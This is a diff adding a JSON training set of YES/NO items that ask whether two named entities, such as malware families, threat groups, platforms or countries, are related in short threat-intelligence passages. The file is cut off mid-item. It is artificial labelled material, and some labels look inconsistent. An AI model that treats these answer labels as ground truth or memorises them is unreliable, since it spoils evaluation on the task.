diff --git "a/train/azerg_T3_train.json" "b/train/azerg_T3_train.json" new file mode 100644--- /dev/null +++ "b/train/azerg_T3_train.json" @@ -0,0 +1,8572 @@ +[ + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRocke\n### Target Entity: C2\n### Text Passage:\nRocke has extracted tar.gz files after downloading them from a C2 server.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC2\n### Target Entity: Rocke\n### Text Passage:\nRocke has extracted tar.gz files after downloading them from a C2 server.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLonghorn\n### Target Entity: Green Lambert\n### Text Passage:\nGreen Lambert is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of Green Lambert may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGreen Lambert\n### Target Entity: Windows\n### Text Passage:\nGreen Lambert is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of Green Lambert may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGreen Lambert\n### Target Entity: macOS\n### Text Passage:\nGreen Lambert is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of Green Lambert may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nps\n### Target Entity: VPNFilter\n### Text Passage:\nVPNFilter is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. VPNFilter modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nmeek\n### Target Entity: Content Delivery Network\n### Text Passage:\nmeek uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended destination.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nProLock\n### Target Entity: Egregor\n### Text Passage:\nQakBot is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. QakBot is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably ProLock and Egregor.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUBoatRAT\n### Target Entity: BITSAdmin\n### Text Passage:\nUBoatRAT takes advantage of the /SetNotifyCmdLine option in BITSAdmin to ensure it stays running on a system to maintain persistence.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSilkBean\n### Target Entity: Android\n### Text Passage:\nSilkBean is a piece of Android surveillanceware containing comprehensive remote access tool (RAT) functionality that has been used in targeting of the Uyghur ethnic group.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT1\n### Target Entity: Seasalt\n### Text Passage:\nSeasalt is malware that has been linked to APT1's 2010 operations. It shares some code similarities with OceanSalt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT1\n### Target Entity: OceanSalt\n### Text Passage:\nSeasalt is malware that has been linked to APT1's 2010 operations. It shares some code similarities with OceanSalt.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nExobot\n### Target Entity: Android\n### Text Passage:\nExobot is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nExobot\n### Target Entity: Germany\n### Text Passage:\nExobot is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nExobot\n### Target Entity: France\n### Text Passage:\nExobot is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nExobot\n### Target Entity: Austria\n### Text Passage:\nExobot is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid\n### Target Entity: France\n### Text Passage:\nExobot is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEpic\n### Target Entity: Explorer\n### Text Passage:\nEpic has overwritten the function pointer in the extra window memory of Explorer's Shell_TrayWnd in order to execute malicious code in the context of the explorer.exe process.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT28\n### Target Entity: JHUHUGIT\n### Text Passage:\nJHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCutting Sword of Justice\n### Target Entity: Shamoon\n### Text Passage:\nShamoon is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. Shamoon has also been seen leveraging RawDisk and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShamoon 3\n### Target Entity: Shamoon\n### Text Passage:\nShamoon is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. Shamoon has also been seen leveraging RawDisk and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShamoon 2\n### Target Entity: Shamoon\n### Text Passage:\nShamoon is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. Shamoon has also been seen leveraging RawDisk and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShamoon\n### Target Entity: RawDisk\n### Text Passage:\nShamoon is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. Shamoon has also been seen leveraging RawDisk and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShamoon\n### Target Entity: Filerase\n### Text Passage:\nShamoon is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. Shamoon has also been seen leveraging RawDisk and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSandworm Team\n### Target Entity: GOGETTER\n### Text Passage:\nThe 2022 Ukraine Electric Power Attack was a Sandworm Team campaign that used a combination of GOGETTER, Neo-REGEORG, CaddyWiper, and living of the land (LotL) techniques to gain access to a Ukrainian electric utility to send unauthorized commands from their SCADA system.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSandworm Team\n### Target Entity: Neo-REGEORG\n### Text Passage:\nThe 2022 Ukraine Electric Power Attack was a Sandworm Team campaign that used a combination of GOGETTER, Neo-REGEORG, CaddyWiper, and living of the land (LotL) techniques to gain access to a Ukrainian electric utility to send unauthorized commands from their SCADA system.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSandworm Team\n### Target Entity: CaddyWiper\n### Text Passage:\nThe 2022 Ukraine Electric Power Attack was a Sandworm Team campaign that used a combination of GOGETTER, Neo-REGEORG, CaddyWiper, and living of the land (LotL) techniques to gain access to a Ukrainian electric utility to send unauthorized commands from their SCADA system.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSandworm Team\n### Target Entity: Ukrainian\n### Text Passage:\nThe 2022 Ukraine Electric Power Attack was a Sandworm Team campaign that used a combination of GOGETTER, Neo-REGEORG, CaddyWiper, and living of the land (LotL) techniques to gain access to a Ukrainian electric utility to send unauthorized commands from their SCADA system.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSandworm Team\n### Target Entity: SCADA\n### Text Passage:\nThe 2022 Ukraine Electric Power Attack was a Sandworm Team campaign that used a combination of GOGETTER, Neo-REGEORG, CaddyWiper, and living of the land (LotL) techniques to gain access to a Ukrainian electric utility to send unauthorized commands from their SCADA system.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n2022 Ukraine Electric Power Attack\n### Target Entity: Ukrainian\n### Text Passage:\nThe 2022 Ukraine Electric Power Attack was a Sandworm Team campaign that used a combination of GOGETTER, Neo-REGEORG, CaddyWiper, and living of the land (LotL) techniques to gain access to a Ukrainian electric utility to send unauthorized commands from their SCADA system.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n2022 Ukraine Electric Power Attack\n### Target Entity: Sandworm Team\n### Text Passage:\nThe 2022 Ukraine Electric Power Attack was a Sandworm Team campaign that used a combination of GOGETTER, Neo-REGEORG, CaddyWiper, and living of the land (LotL) techniques to gain access to a Ukrainian electric utility to send unauthorized commands from their SCADA system.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUmbreon\n### Target Entity: libc\n### Text Passage:\nUmbreon hides from defenders by hooking libc function calls, hiding artifacts that would reveal its presence, such as the user account it creates to provide access and undermining strace, a tool often used to identify malware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUmbreon\n### Target Entity: strace\n### Text Passage:\nUmbreon hides from defenders by hooking libc function calls, hiding artifacts that would reveal its presence, such as the user account it creates to provide access and undermining strace, a tool often used to identify malware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDEATHRANSOM\n### Target Entity: FIVEHANDS\n### Text Passage:\nFIVEHANDS is a customized version of DEATHRANSOM ransomware written in C++. FIVEHANDS has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with SombRAT.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFIVEHANDS\n### Target Entity: C++\n### Text Passage:\nFIVEHANDS is a customized version of DEATHRANSOM ransomware written in C++. FIVEHANDS has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with SombRAT.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDEATHRANSOM\n### Target Entity: C++\n### Text Passage:\nFIVEHANDS is a customized version of DEATHRANSOM ransomware written in C++. FIVEHANDS has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with SombRAT.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGold Dragon\n### Target Entity: South Korea\n### Text Passage:\nGold Dragon is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. Gold Dragon was used along with Brave Prince and RunningRAT in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKimsuky\n### Target Entity: CSPY Downloader\n### Text Passage:\nCSPY Downloader is a tool designed to evade analysis and download additional payloads used by Kimsuky.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNight Dragon\n### Target Entity: zwShell\n### Text Passage:\nzwShell is a remote access tool (RAT) written in Delphi that has been used by Night Dragon.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nzwShell\n### Target Entity: Delphi\n### Text Passage:\nzwShell is a remote access tool (RAT) written in Delphi that has been used by Night Dragon.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDEFENSOR ID\n### Target Entity: Android\n### Text Passage:\nDEFENSOR ID is a banking trojan capable of clearing a victim\u2019s bank account or cryptocurrency wallet and taking over email or social media accounts. DEFENSOR ID performs the majority of its malicious functionality by abusing Android\u2019s accessibility service.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nJPIN\n### Target Entity: cacls.exe\n### Text Passage:\nJPIN can use the command-line utility cacls.exe to change file permissions.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n%ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\Auth\\\n### Target Entity: owaauth.dll\n### Text Passage:\nOwaAuth uses the filename owaauth.dll, which is a legitimate file that normally resides in %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\Auth\\; the malicious file by the same name is saved in %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\bin\\.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGolfSpy\n### Target Entity: Android\n### Text Passage:\nGolfSpy is Android spyware deployed by the group Bouncing Golf.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBouncing Golf\n### Target Entity: GolfSpy\n### Text Passage:\nGolfSpy is Android spyware deployed by the group Bouncing Golf.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid\n### Target Entity: GolfSpy\n### Text Passage:\nGolfSpy is Android spyware deployed by the group Bouncing Golf.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBendyBear\n### Target Entity: Windows\n### Text Passage:\nBendyBear can load and execute modules and Windows Application Programming (API) calls using standard shellcode API hashing.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTruvasys\n### Target Entity: Windows\n### Text Passage:\nTo establish persistence, Truvasys adds a Registry Run key with a value \"TaskMgr\" in an attempt to masquerade as the legitimate Windows Task Manager.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTruvasys\n### Target Entity: Windows Task Manager\n### Text Passage:\nTo establish persistence, Truvasys adds a Registry Run key with a value \"TaskMgr\" in an attempt to masquerade as the legitimate Windows Task Manager.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindows Task Manager\n### Target Entity: Truvasys\n### Text Passage:\nTo establish persistence, Truvasys adds a Registry Run key with a value \"TaskMgr\" in an attempt to masquerade as the legitimate Windows Task Manager.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSoreFang\n### Target Entity: net.exe\n### Text Passage:\nSoreFang can enumerate domain accounts via net.exe user /domain.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFIN8\n### Target Entity: BADHATCH\n### Text Passage:\nBADHATCH is a backdoor that has been utilized by FIN8 since at least 2019. BADHATCH has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBADHATCH\n### Target Entity: United States\n### Text Passage:\nBADHATCH is a backdoor that has been utilized by FIN8 since at least 2019. BADHATCH has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBADHATCH\n### Target Entity: Canada\n### Text Passage:\nBADHATCH is a backdoor that has been utilized by FIN8 since at least 2019. BADHATCH has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBADHATCH\n### Target Entity: South Africa\n### Text Passage:\nBADHATCH is a backdoor that has been utilized by FIN8 since at least 2019. BADHATCH has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBADHATCH\n### Target Entity: Panama\n### Text Passage:\nBADHATCH is a backdoor that has been utilized by FIN8 since at least 2019. BADHATCH has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBADHATCH\n### Target Entity: Italy\n### Text Passage:\nBADHATCH is a backdoor that has been utilized by FIN8 since at least 2019. BADHATCH has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUnited States\n### Target Entity: BADHATCH\n### Text Passage:\nBADHATCH is a backdoor that has been utilized by FIN8 since at least 2019. BADHATCH has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source 